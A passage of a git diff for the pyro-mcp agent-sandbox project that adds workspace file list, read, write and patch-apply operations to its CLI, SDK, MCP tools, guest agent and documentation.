changed file or directory back to the host. Use diff --git a/docs/integrations.md b/docs/integrations.md index ffaa2a3..f047697 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -32,6 +32,7 @@ Recommended surface: - `vm_run` - `workspace_create(seed_path=...)` + `workspace_sync_push` + `workspace_exec` when the agent needs persistent workspace state +- `workspace_file_list` / `workspace_file_read` / `workspace_file_write` / `workspace_patch_apply` when the agent needs model-native file inspection and text edits inside one live workspace - `workspace_create(..., secrets=...)` + `workspace_exec(..., secret_env=...)` when the workspace needs private tokens or authenticated setup - `workspace_create(..., network_policy="egress+published-ports")` + `start_service(..., published_ports=[...])` when the host must probe one workspace service - `workspace_diff` + `workspace_export` when the agent needs explicit baseline comparison or host-out file transfer @@ -73,6 +74,7 @@ Recommended default: - `Pyro.run_in_vm(...)` - `Pyro.create_workspace(seed_path=...)` + `Pyro.push_workspace_sync(...)` + `Pyro.exec_workspace(...)` when repeated workspace commands are required +- `Pyro.list_workspace_files(...)` / `Pyro.read_workspace_file(...)` / `Pyro.write_workspace_file(...)` / `Pyro.apply_workspace_patch(...)` when the agent needs model-native file inspection and text edits inside one live workspace - `Pyro.create_workspace(..., secrets=...)` + `Pyro.exec_workspace(..., secret_env=...)` when the workspace needs private tokens or authenticated setup - `Pyro.create_workspace(..., network_policy="egress+published-ports")` + `Pyro.start_service(..., published_ports=[...])` when the host must probe one workspace service - `Pyro.diff_workspace(...)` + `Pyro.export_workspace(...)` when the agent needs baseline comparison or host-out file transfer @@ -88,6 +90,9 @@ Lifecycle note: `/workspace` that starts from host content - use `push_workspace_sync(...)` when later host-side changes need to be imported into that running workspace without recreating it +- use `list_workspace_files(...)`, `read_workspace_file(...)`, `write_workspace_file(...)`, and + `apply_workspace_patch(...)` when the agent should inspect or edit workspace files without shell + quoting tricks - use `create_workspace(..., secrets=...)` plus `secret_env` on exec, shell, or service start when the agent needs private tokens or authenticated startup inside that workspace - use `create_workspace(..., network_policy="egress+published-ports")` plus diff --git a/docs/public-contract.md b/docs/public-contract.md index e5f5fca..bb4770e 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -29,7 +29,11 @@ Top-level commands: - `pyro workspace stop` - `pyro workspace start` - `pyro workspace exec` +- `pyro workspace file list` +- `pyro workspace file read` +- `pyro workspace file write` - `pyro workspace export` +- `pyro workspace patch apply` - `pyro workspace disk export` - `pyro workspace disk list` - `pyro workspace disk read` @@ -79,6 +83,9 @@ Behavioral guarantees: - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. - `pyro workspace stop WORKSPACE_ID` stops one persistent workspace without deleting its `/workspace`, snapshots, or command history. - `pyro workspace start WORKSPACE_ID` restarts one stopped workspace without resetting `/workspace`. +- `pyro workspace file list WORKSPACE_ID [PATH] [--recursive]` returns metadata for one live path under `/workspace`. +- `pyro workspace file read WORKSPACE_ID PATH [--max-bytes N]` reads one regular text file under `/workspace`. +- `pyro workspace file write WORKSPACE_ID PATH --text TEXT` creates or replaces one regular text file under `/workspace`, creating missing parent directories automatically. - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` exports one file or directory from `/workspace` back to the host. - `pyro workspace disk export WORKSPACE_ID --output HOST_PATH` copies the stopped guest-backed workspace rootfs as raw ext4 to the host. - `pyro workspace disk list WORKSPACE_ID [PATH] [--recursive]` inspects a stopped guest-backed workspace rootfs offline without booting the guest. @@ -92,6 +99,7 @@ Behavioral guarantees: - `pyro workspace exec --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into one exec call. - `pyro workspace service start --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into one service start call. - `pyro workspace exec` runs in the persistent `/workspace` for that workspace and does not auto-clean. +- `pyro workspace patch apply WORKSPACE_ID --patch TEXT` applies one unified text patch with add/modify/delete operations under `/workspace`. - `pyro workspace shell open --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into the opened shell environment. - `pyro workspace shell *` manages persistent PTY sessions inside a started workspace. - `pyro workspace logs` returns persisted command history for that workspace until `pyro workspace delete`. @@ -121,7 +129,11 @@ Supported public entrypoints: - `Pyro.push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `Pyro.stop_workspace(workspace_id)` - `Pyro.start_workspace(workspace_id)` +- `Pyro.list_workspace_files(workspace_id, path="/workspace", recursive=False)` +- `Pyro.read_workspace_file(workspace_id, path, *, max_bytes=65536)` +- `Pyro.write_workspace_file(workspace_id, path, *, text)` - `Pyro.export_workspace(workspace_id, path, *, output_path)` +- `Pyro.apply_workspace_patch(workspace_id, *, patch)` - `Pyro.export_workspace_disk(workspace_id, *, output_path)` - `Pyro.list_workspace_disk(workspace_id, path="/workspace", recursive=False)` - `Pyro.read_workspace_disk(workspace_id, path, *, max_bytes=65536)` @@ -165,7 +177,11 @@ Stable public method names: - `push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `stop_workspace(workspace_id)` - `start_workspace(workspace_id)` +- `list_workspace_files(workspace_id, path="/workspace", recursive=False)` +- `read_workspace_file(workspace_id, path, *, max_bytes=65536)` +- `write_workspace_file(workspace_id, path, *, text)` - `export_workspace(workspace_id, path, *, output_path)` +- `apply_workspace_patch(workspace_id, *, patch)` - `export_workspace_disk(workspace_id, *, output_path)` - `list_workspace_disk(workspace_id, path="/workspace", recursive=False)` - `read_workspace_disk(workspace_id, path, *, max_bytes=65536)` @@ -209,7 +225,9 @@ Behavioral defaults: - `Pyro.push_workspace_sync(...)` imports later host-side directory or archive content into a started workspace. - `Pyro.stop_workspace(...)` stops one persistent workspace without deleting its `/workspace`, snapshots, or command history. - `Pyro.start_workspace(...)` restarts one stopped workspace without resetting `/workspace`. +- `Pyro.list_workspace_files(...)`, `Pyro.read_workspace_file(...)`, and `Pyro.write_workspace_file(...)` provide structured live `/workspace` inspection and text edits without shell quoting. - `Pyro.export_workspace(...)` exports one file or directory from `/workspace` to an explicit host path. +- `Pyro.apply_workspace_patch(...)` applies unified text patches for add/modify/delete operations under `/workspace`. - `Pyro.export_workspace_disk(...)` copies the stopped guest-backed workspace rootfs as raw ext4 to an explicit host path. - `Pyro.list_workspace_disk(...)` inspects a stopped guest-backed workspace rootfs offline without booting the guest. - `Pyro.read_workspace_disk(...)` reads one regular file from a stopped guest-backed workspace rootfs offline. @@ -256,7 +274,11 @@ Persistent workspace tools: - `workspace_stop` - `workspace_start` - `workspace_exec` +- `workspace_file_list` +- `workspace_file_read` +- `workspace_file_write` - `workspace_export` +- `workspace_patch_apply` - `workspace_disk_export` - `workspace_disk_list` - `workspace_disk_read` @@ -291,7 +313,9 @@ Behavioral defaults: - `workspace_sync_push` imports later host-side directory or archive content into a started workspace, with an optional `dest` under `/workspace`. - `workspace_stop` stops one persistent workspace without deleting its `/workspace`, snapshots, or command history. - `workspace_start` restarts one stopped workspace without resetting `/workspace`. +- `workspace_file_list`, `workspace_file_read`, and `workspace_file_write` provide structured live `/workspace` inspection and text edits without shell quoting. - `workspace_export` exports one file or directory from `/workspace` to an explicit host path. +- `workspace_patch_apply` applies unified text patches for add/modify/delete operations under `/workspace`. - `workspace_disk_export` copies the stopped guest-backed workspace rootfs as raw ext4 to an explicit host path. - `workspace_disk_list` inspects a stopped guest-backed workspace rootfs offline without booting the guest. - `workspace_disk_read` reads one regular file from a stopped guest-backed workspace rootfs offline. diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index 07549f7..5dcd8cb 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.1.0`: +Current baseline is `3.2.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -45,12 +45,17 @@ More concretely, the model should not need to: ## Milestones -1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) +1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) - Done 2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) 3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) 4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) 5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) +Completed so far: + +- `3.2.0` added model-native `workspace file *` and `workspace patch apply` so chat-driven agents + can inspect and edit `/workspace` without shell-escaped file mutation flows. + ## Expected Outcome After this roadmap, the product should still look like an agent workspace, not diff --git a/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md b/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md index 056528b..ea4e59c 100644 --- a/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md +++ b/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md @@ -1,6 +1,6 @@ # `3.2.0` Model-Native Workspace File Ops -Status: Planned +Status: Done ## Goal @@ -57,3 +57,9 @@ Planned additions: - docs and examples that show model-native file editing instead of shell-heavy file writes - at least one real smoke scenario centered on a repro-plus-fix loop + +## Outcome + +- shipped `workspace file list|read|write` and `workspace patch apply` across CLI, SDK, and MCP +- kept the surface scoped to started workspaces and `/workspace` +- updated docs, help text, examples, and smoke coverage around model-native editing flows diff --git a/examples/python_workspace.py b/examples/python_workspace.py index 335c125..019a1d6 100644 --- a/examples/python_workspace.py +++ b/examples/python_workspace.py @@ -31,6 +31,27 @@ def main() -> None: workspace_id = str(created["workspace_id"]) try: pyro.push_workspace_sync(workspace_id, sync_dir) + files = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) + print(f"workspace_entries={len(files['entries'])}") + note = pyro.read_workspace_file(workspace_id, "note.txt") + print(note["content"], end="") + written = pyro.write_workspace_file( + workspace_id, + "src/app.py", + text="print('hello from file ops')\n", + ) + print(f"written_bytes={written['bytes_written']}") + patched = pyro.apply_workspace_patch( + workspace_id, + patch=( + "--- a/note.txt\n" + "+++ b/note.txt\n" + "@@ -1 +1 @@\n" + "-hello from sync\n" + "+hello from patch\n" + ), + ) + print(f"patch_changed={patched['changed']}") result = pyro.exec_workspace(workspace_id, command="cat note.txt") print(result["stdout"], end="") secret_result = pyro.exec_workspace( diff --git a/pyproject.toml b/pyproject.toml index b4a1ffe..6314939 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.1.0" +version = "3.2.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py index 607c76d..a469d7b 100644 --- a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py +++ b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py @@ -3,6 +3,7 @@ from __future__ import annotations +import base64 import codecs import fcntl import io @@ -31,6 +32,7 @@ WORKSPACE_ROOT = PurePosixPath("/workspace") SHELL_ROOT = Path("/run/pyro-shells") SERVICE_ROOT = Path("/run/pyro-services") SECRET_ROOT = Path("/run/pyro-secrets") +WORKSPACE_FILE_MAX_BYTES = 1024 * 1024 SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") SHELL_SIGNAL_MAP = { "HUP": signal.SIGHUP, @@ -328,6 +330,153 @@ def _prepare_export_archive(path: str) -> dict[str, Any]: raise +def _workspace_entry(path_text: str, host_path: Path) -> dict[str, Any]: + try: + stat_result = os.lstat(host_path) + except FileNotFoundError as exc: + raise RuntimeError(f"workspace path does not exist: {path_text}") from exc + if host_path.is_symlink(): + return { + "path": path_text, + "artifact_type": "symlink", + "size_bytes": stat_result.st_size, + "link_target": os.readlink(host_path), + } + if host_path.is_dir(): + return { + "path": path_text, + "artifact_type": "directory", + "size_bytes": 0, + "link_target": None, + } + if host_path.is_file(): + return { + "path": path_text, + "artifact_type": "file", + "size_bytes": stat_result.st_size, + "link_target": None, + } + raise RuntimeError(f"unsupported workspace path type: {path_text}") + + +def _join_workspace_path(base: str, child_name: str) -> str: + base_path = PurePosixPath(base) + return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}" + + +def _list_workspace(path: str, *, recursive: bool) -> dict[str, Any]: + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "directory": + return { + "path": str(normalized_path), + "artifact_type": entry["artifact_type"], + "entries": [entry], + } + entries: list[dict[str, Any]] = [] + + def walk(current_path: str, current_host_path: Path) -> None: + children: list[tuple[dict[str, Any], Path]] = [] + with os.scandir(current_host_path) as iterator: + for child in iterator: + child_host_path = Path(child.path) + children.append( + ( + _workspace_entry( + _join_workspace_path(current_path, child.name), + child_host_path, + ), + child_host_path, + ) + ) + children.sort(key=lambda item: str(item[0]["path"])) + for child_entry, child_host_path in children: + entries.append(child_entry) + if recursive and child_entry["artifact_type"] == "directory": + walk(str(child_entry["path"]), child_host_path) + + walk(str(normalized_path), host_path) + return { + "path": str(normalized_path), + "artifact_type": "directory", + "entries": entries, + } + + +def _read_workspace_file(path: str, *, max_bytes: int) -> dict[str, Any]: + if max_bytes <= 0: + raise RuntimeError("max_bytes must be positive") + if max_bytes > WORKSPACE_FILE_MAX_BYTES: + raise RuntimeError( + f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes" + ) + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "file": + raise RuntimeError("workspace file read only supports regular files") + raw_bytes = host_path.read_bytes() + if len(raw_bytes) > max_bytes: + raise RuntimeError( + f"workspace file exceeds the maximum supported size of {max_bytes} bytes" + ) + return { + "path": str(normalized_path), + "size_bytes": len(raw_bytes), + "content_b64": base64.b64encode(raw_bytes).decode("ascii"), + } + + +def _ensure_no_symlink_parents_for_write(root: Path, target_path: Path, path_text: str) -> None: + relative_path = target_path.relative_to(root) + current = root + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"workspace path would traverse through a symlinked parent: {path_text}" + ) + + +def _write_workspace_file(path: str, *, text: str) -> dict[str, Any]: + raw_bytes = text.encode("utf-8") + if len(raw_bytes) > WORKSPACE_FILE_MAX_BYTES: + raise RuntimeError( + f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" + ) + normalized_path, host_path = _normalize_destination(path) + _ensure_no_symlink_parents_for_write(Path("/workspace"), host_path, str(normalized_path)) + if host_path.exists() or host_path.is_symlink(): + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "file": + raise RuntimeError("workspace file write only supports regular file targets") + host_path.parent.mkdir(parents=True, exist_ok=True) + with tempfile.NamedTemporaryFile( + prefix=".pyro-workspace-write-", + dir=host_path.parent, + delete=False, + ) as handle: + temp_path = Path(handle.name) + handle.write(raw_bytes) + os.replace(temp_path, host_path) + return { + "path": str(normalized_path), + "size_bytes": len(raw_bytes), + "bytes_written": len(raw_bytes), + } + + +def _delete_workspace_path(path: str) -> dict[str, Any]: + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] == "directory": + raise RuntimeError("workspace file delete does not support directories") + host_path.unlink(missing_ok=False) + return { + "path": str(normalized_path), + "deleted": True, + } + + def _run_command( command: str, timeout_seconds: int, @@ -931,6 +1080,23 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: raise RuntimeError("archive_size must not be negative") payload = _read_exact(conn, archive_size) return _install_secrets_archive(payload) + if action == "list_workspace": + return _list_workspace( + str(request.get("path", "/workspace")), + recursive=bool(request.get("recursive", False)), + ) + if action == "read_workspace_file": + return _read_workspace_file( + str(request.get("path", "/workspace")), + max_bytes=int(request.get("max_bytes", WORKSPACE_FILE_MAX_BYTES)), + ) + if action == "write_workspace_file": + return _write_workspace_file( + str(request.get("path", "/workspace")), + text=str(request.get("text", "")), + ) + if action == "delete_workspace_path": + return _delete_workspace_path(str(request.get("path", "/workspace"))) if action == "open_shell": shell_id = str(request.get("shell_id", "")).strip() if shell_id == "": diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 78042b7..3a63bc7 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -157,6 +157,56 @@ class Pyro: def diff_workspace(self, workspace_id: str) -> dict[str, Any]: return self._manager.diff_workspace(workspace_id) + def list_workspace_files( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + return self._manager.list_workspace_files( + workspace_id, + path=path, + recursive=recursive, + ) + + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int = 65536, + ) -> dict[str, Any]: + return self._manager.read_workspace_file( + workspace_id, + path, + max_bytes=max_bytes, + ) + + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + return self._manager.write_workspace_file( + workspace_id, + path, + text=text, + ) + + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + return self._manager.apply_workspace_patch( + workspace_id, + patch=patch, + ) + def export_workspace_disk( self, workspace_id: str, @@ -529,6 +579,56 @@ class Pyro: """Compare `/workspace` to the immutable create-time baseline.""" return self.diff_workspace(workspace_id) + @server.tool() + async def workspace_file_list( + workspace_id: str, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + """List metadata for files and directories under one live workspace path.""" + return self.list_workspace_files( + workspace_id, + path=path, + recursive=recursive, + ) + + @server.tool() + async def workspace_file_read( + workspace_id: str, + path: str, + max_bytes: int = 65536, + ) -> dict[str, Any]: + """Read one regular text file from a live workspace path.""" + return self.read_workspace_file( + workspace_id, + path, + max_bytes=max_bytes, + ) + + @server.tool() + async def workspace_file_write( + workspace_id: str, + path: str, + text: str, + ) -> dict[str, Any]: + """Create or replace one regular text file under `/workspace`.""" + return self.write_workspace_file( + workspace_id, + path, + text=text, + ) + + @server.tool() + async def workspace_patch_apply( + workspace_id: str, + patch: str, + ) -> dict[str, Any]: + """Apply a unified text patch inside one live workspace.""" + return self.apply_workspace_patch( + workspace_id, + patch=patch, + ) + @server.tool() async def workspace_disk_export( workspace_id: str, diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index e866053..ac4416f 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -22,6 +22,7 @@ from pyro_mcp.vm_manager import ( DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, DEFAULT_VCPU_COUNT, DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, + DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES, WORKSPACE_GUEST_PATH, WORKSPACE_SHELL_SIGNAL_NAMES, ) @@ -322,6 +323,72 @@ def _print_workspace_diff_human(payload: dict[str, Any]) -> None: print(patch, end="" if patch.endswith("\n") else "\n") +def _print_workspace_file_list_human(payload: dict[str, Any]) -> None: + print( + f"Workspace path: {str(payload.get('path', WORKSPACE_GUEST_PATH))} " + f"(recursive={'yes' if bool(payload.get('recursive')) else 'no'})" + ) + entries = payload.get("entries") + if not isinstance(entries, list) or not entries: + print("No workspace entries found.") + return + for entry in entries: + if not isinstance(entry, dict): + continue + line = ( + f"{str(entry.get('path', 'unknown'))} " + f"[{str(entry.get('artifact_type', 'unknown'))}] " + f"size={int(entry.get('size_bytes', 0))}" + ) + link_target = entry.get("link_target") + if isinstance(link_target, str) and link_target != "": + line += f" -> {link_target}" + print(line) + + +def _print_workspace_file_read_human(payload: dict[str, Any]) -> None: + _write_stream(str(payload.get("content", "")), stream=sys.stdout) + print( + "[workspace-file-read] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"path={str(payload.get('path', 'unknown'))} " + f"size_bytes={int(payload.get('size_bytes', 0))} " + f"truncated={'yes' if bool(payload.get('truncated', False)) else 'no'}", + file=sys.stderr, + flush=True, + ) + + +def _print_workspace_file_write_human(payload: dict[str, Any]) -> None: + print( + "[workspace-file-write] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"path={str(payload.get('path', 'unknown'))} " + f"bytes_written={int(payload.get('bytes_written', 0))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + ) + + +def _print_workspace_patch_human(payload: dict[str, Any]) -> None: + summary = payload.get("summary") + if isinstance(summary, dict): + print( + "[workspace-patch] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"total={int(summary.get('total', 0))} " + f"added={int(summary.get('added', 0))} " + f"modified={int(summary.get('modified', 0))} " + f"deleted={int(summary.get('deleted', 0))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + ) + return + print( + "[workspace-patch] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + ) + + def _print_workspace_logs_human(payload: dict[str, Any]) -> None: entries = payload.get("entries") if not isinstance(entries, list) or not entries: @@ -733,6 +800,8 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./repo --dest src + pyro workspace file read WORKSPACE_ID src/app.py + pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" pyro workspace exec WORKSPACE_ID -- sh -lc 'printf "hello\\n" > note.txt' pyro workspace stop WORKSPACE_ID pyro workspace disk list WORKSPACE_ID @@ -996,6 +1065,145 @@ def _build_parser() -> argparse.ArgumentParser: action="store_true", help="Print structured JSON instead of human-readable output.", ) + workspace_file_parser = workspace_subparsers.add_parser( + "file", + help="List, read, and write workspace files without shell quoting.", + description=( + "Use workspace file operations for model-native tree inspection and text edits " + "inside one started workspace." + ), + epilog=dedent( + """ + Examples: + pyro workspace file list WORKSPACE_ID + pyro workspace file read WORKSPACE_ID src/app.py + pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")' + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_file_subparsers = workspace_file_parser.add_subparsers( + dest="workspace_file_command", + required=True, + metavar="FILE", + ) + workspace_file_list_parser = workspace_file_subparsers.add_parser( + "list", + help="List metadata for one live workspace path.", + description="List files, directories, and symlinks under one started workspace path.", + epilog="Example:\n pyro workspace file list WORKSPACE_ID src --recursive", + formatter_class=_HelpFormatter, + ) + workspace_file_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_file_list_parser.add_argument( + "path", + nargs="?", + default=WORKSPACE_GUEST_PATH, + metavar="PATH", + help="Workspace path to inspect. Relative values resolve inside `/workspace`.", + ) + workspace_file_list_parser.add_argument( + "--recursive", + action="store_true", + help="Walk directories recursively.", + ) + workspace_file_list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_file_read_parser = workspace_file_subparsers.add_parser( + "read", + help="Read one regular text file from a started workspace.", + description=( + "Read one regular text file under `/workspace`. This is bounded and does not " + "follow symlinks." + ), + epilog="Example:\n pyro workspace file read WORKSPACE_ID src/app.py", + formatter_class=_HelpFormatter, + ) + workspace_file_read_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_file_read_parser.add_argument("path", metavar="PATH") + workspace_file_read_parser.add_argument( + "--max-bytes", + type=int, + default=DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES, + help="Maximum number of bytes to return in the decoded text response.", + ) + workspace_file_read_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_file_write_parser = workspace_file_subparsers.add_parser( + "write", + help="Create or replace one regular text file in a started workspace.", + description=( + "Write one UTF-8 text file under `/workspace`. Missing parent directories are " + "created automatically." + ), + epilog=( + "Example:\n" + " pyro workspace file write WORKSPACE_ID src/app.py --text 'print(\"hi\")'" + ), + formatter_class=_HelpFormatter, + ) + workspace_file_write_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_file_write_parser.add_argument("path", metavar="PATH") + workspace_file_write_parser.add_argument( + "--text", + required=True, + help="UTF-8 text content to write into the target file.", + ) + workspace_file_write_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_patch_parser = workspace_subparsers.add_parser( + "patch", + help="Apply unified text patches inside a started workspace.", + description=( + "Apply add/modify/delete unified text patches under `/workspace` without shell " + "editing tricks." + ), + epilog=dedent( + """ + Example: + pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" + + Patch application is preflighted but not fully transactional. If an apply fails + partway through, prefer `pyro workspace reset WORKSPACE_ID`. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_patch_subparsers = workspace_patch_parser.add_subparsers( + dest="workspace_patch_command", + required=True, + metavar="PATCH", + ) + workspace_patch_apply_parser = workspace_patch_subparsers.add_parser( + "apply", + help="Apply one unified text patch to a started workspace.", + description=( + "Apply one unified text patch for add, modify, and delete operations under " + "`/workspace`." + ), + epilog="Example:\n pyro workspace patch apply WORKSPACE_ID --patch \"$(cat fix.patch)\"", + formatter_class=_HelpFormatter, + ) + workspace_patch_apply_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_patch_apply_parser.add_argument( + "--patch", + required=True, + help="Unified text patch to apply under `/workspace`.", + ) + workspace_patch_apply_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) workspace_snapshot_parser = workspace_subparsers.add_parser( "snapshot", help="Create, list, and delete workspace snapshots.", @@ -2005,6 +2213,78 @@ def main() -> None: raise SystemExit(1) from exc _print_workspace_diff_human(payload) return + if args.workspace_command == "file": + if args.workspace_file_command == "list": + try: + payload = pyro.list_workspace_files( + args.workspace_id, + path=args.path, + recursive=bool(args.recursive), + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_file_list_human(payload) + return + if args.workspace_file_command == "read": + try: + payload = pyro.read_workspace_file( + args.workspace_id, + args.path, + max_bytes=args.max_bytes, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_file_read_human(payload) + return + if args.workspace_file_command == "write": + try: + payload = pyro.write_workspace_file( + args.workspace_id, + args.path, + text=args.text, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_file_write_human(payload) + return + if args.workspace_command == "patch" and args.workspace_patch_command == "apply": + try: + payload = pyro.apply_workspace_patch( + args.workspace_id, + patch=args.patch, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_patch_human(payload) + return if args.workspace_command == "snapshot": if args.workspace_snapshot_command == "create": try: diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index aeef937..bcf117b 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -12,7 +12,9 @@ PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( "diff", "exec", "export", + "file", "logs", + "patch", "reset", "service", "shell", @@ -23,6 +25,8 @@ PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( "sync", ) PUBLIC_CLI_WORKSPACE_DISK_SUBCOMMANDS = ("export", "list", "read") +PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS = ("list", "read", "write") +PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS = ("apply",) PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS = ("list", "logs", "start", "status", "stop") PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS = ("close", "open", "read", "signal", "write") PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS = ("create", "delete", "list") @@ -44,6 +48,10 @@ PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS = ("--max-bytes", "--json") PUBLIC_CLI_WORKSPACE_EXEC_FLAGS = ("--timeout-seconds", "--secret-env", "--json") PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") +PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS = ("--recursive", "--json") +PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS = ("--max-bytes", "--json") +PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS = ("--text", "--json") +PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS = ("--patch", "--json") PUBLIC_CLI_WORKSPACE_RESET_FLAGS = ("--snapshot", "--json") PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS = ("--tail-lines", 